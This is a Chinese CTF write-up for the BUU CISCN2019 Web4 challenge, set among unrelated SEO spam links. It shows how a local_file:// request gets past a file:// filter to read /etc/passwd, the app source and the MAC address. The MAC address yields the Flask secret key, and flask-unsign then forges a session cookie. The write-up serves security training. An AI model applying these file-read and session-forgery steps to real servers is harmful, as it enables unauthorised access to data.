当前位置: 首页 > news >正文

杭州网站免费制作株洲网站seo优化价格

杭州网站免费制作,株洲网站seo优化价格,网站如何做实名验证码,公司做网站的作用BUU [CISCN2019 华东南赛区]Web4 题目描述:Click to launch instance. 开题: 点击链接,有点像SSRF 使用local_file://协议读到本地文件,无法使用file://协议读取,有过滤。 local_file://协议: local_file…

BUU [CISCN2019 华东南赛区]Web4

题目描述:Click to launch instance.

开题:

image-20231203030538490

点击链接,有点像SSRF

image-20231203030551174

使用local_file://协议读到本地文件,无法使用file://协议读取,有过滤。

image-20231203030849532

local_file://协议:

local_file://与file://类似,常用于绕过,可以直接读取本地文件内容

此外,不加协议,直接通过文件名读取文件也行。

/read?url=/etc/passwd

image-20231204163732895

读取后端源码:

/read?url=/app/app.py

源码如下:

import re, random, uuid, urllib
from flask import Flask, session, requestapp = Flask(__name__)
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random()*233)
app.debug = True@app.route('/')
def index():session['username'] = 'www-data'return 'Hello World! <a href="/read?url=https://baidu.com">Read somethings</a>'@app.route('/read')
def read():try:url = request.args.get('url')m = re.findall('^file.*', url, re.IGNORECASE)n = re.findall('flag', url, re.IGNORECASE)if m or n:return 'No Hack'res = urllib.urlopen(url)return res.read()except Exception as ex:print str(ex)return 'no response'@app.route('/flag')
def flag():if session and session['username'] == 'fuck':return open('/flag.txt').read()else:return 'Access denied'if __name__=='__main__':app.run(debug=True,host="0.0.0.0")

注意print语句print str(ex),可以看出后端是python2。

/flag路由验证了session,若session中的usernamefuck,则返回flag。

session的密钥由random决定,random的seed是uuid.getnode()

random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random()*233)

对于伪随机数,如果seed是固定的,生成的随机数是可以预测的,也就是顺序固定的,所以只要知道seed的值即可。这里的seed使用的uuid.getnode()的值,该函数用于获取Mac地址并将其转换为整数。所以我们还需要读一下Mac地址。

Mac地址存贮在/sys/class/net/eth0/address

/read?url=local_file:///sys/class/net/eth0/address

得到Mac地址为:2e:44:62:0d:63:0a

image-20231204182610239

根据seed预测伪随机数得到key脚本:(python2跑)

import random
random.seed(0x2e44620d630a)
print(str(random.random()*233))

得到key是73.2021768198,不同人不一样。

我们使用flask-unsign工具来伪造session。

解密session:

flask-unsign --decode --cookie 'eyJ1c2VybmFtZSI6eyIgYiI6ImQzZDNMV1JoZEdFPSJ9fQ.ZW2pEQ.-5oJLoBW97fPu-L4toFRwPeAwhE'

加密session:

flask-unsign --sign --cookie "{'username': b'fuck'}" --secret '73.2021768198' --no-literal-eval

得到eyJ1c2VybmFtZSI6eyIgYiI6IlpuVmphdz09In19.ZW2rIw.tPiShhd3WU6VOLoSrTgWQus8Pjc

image-20231204183509747

访问/flag路由,得到flag

image-20231204183626221

http://www.yayakq.cn/news/306736/

相关文章:

  • 重庆做手机网站建设滨江网站制作
  • 网站开发程序员的工资是多少wordpress仿百度首页
  • 提供手机自适应网站电子商务网站的网站架构
  • 网站规划公司网站的关键词推广怎么做
  • 网站访客qq提取二手交易网网站建设目标
  • 网站需求分析怎么做wordpress 找不到文章
  • 企业网站keywords最多几个沈阳网络营销推广的公司
  • 坪山网站建设wordpress那个版本好用
  • 东莞建网站公司动如何自己搭建微信小程序
  • 兰溪建设网站国内交互网站
  • 收费网站设计方案网络绿化网站建设哪家权威
  • 吉林网站建设电话优化网站公司外包
  • 电商网站开发经验发布 php 微网站
  • 做网站相关的英文名词北京建设信源资讯有限公司
  • 国外有哪些做deal的网站安康鼎盛网站建设
  • 网站开发制作公司排行请选择一个网站制作软件
  • 怎样接做网站和软件的活北京网站建设公司服务有哪些
  • 高端 网站开发响水网站设计
  • 商务网站需求分析网站建站网站设计
  • 湖南省建设网站哈尔滨网站免费制作
  • 江西网站建设找哪家wordpress 上传幻灯片
  • 零配件加工东莞网站建设技术支持网站企业文化建设
  • 如何制作网站视频教程广州棋牌软件开发公司
  • 吉林省住房建设安厅网站安全管理办法项目网专栏
  • 怎么制作自己的个人网站邵阳小学网站建设
  • ae做动画教程网站北京政务服务官方网站
  • 青岛网站建设哪个好新型电子产品代理加盟
  • 扬州国土资源局网站开发区分局wordpress好123
  • 基金会网站模板做网站怎么收费多少
  • 四川省省建设厅网站展会广告策划公司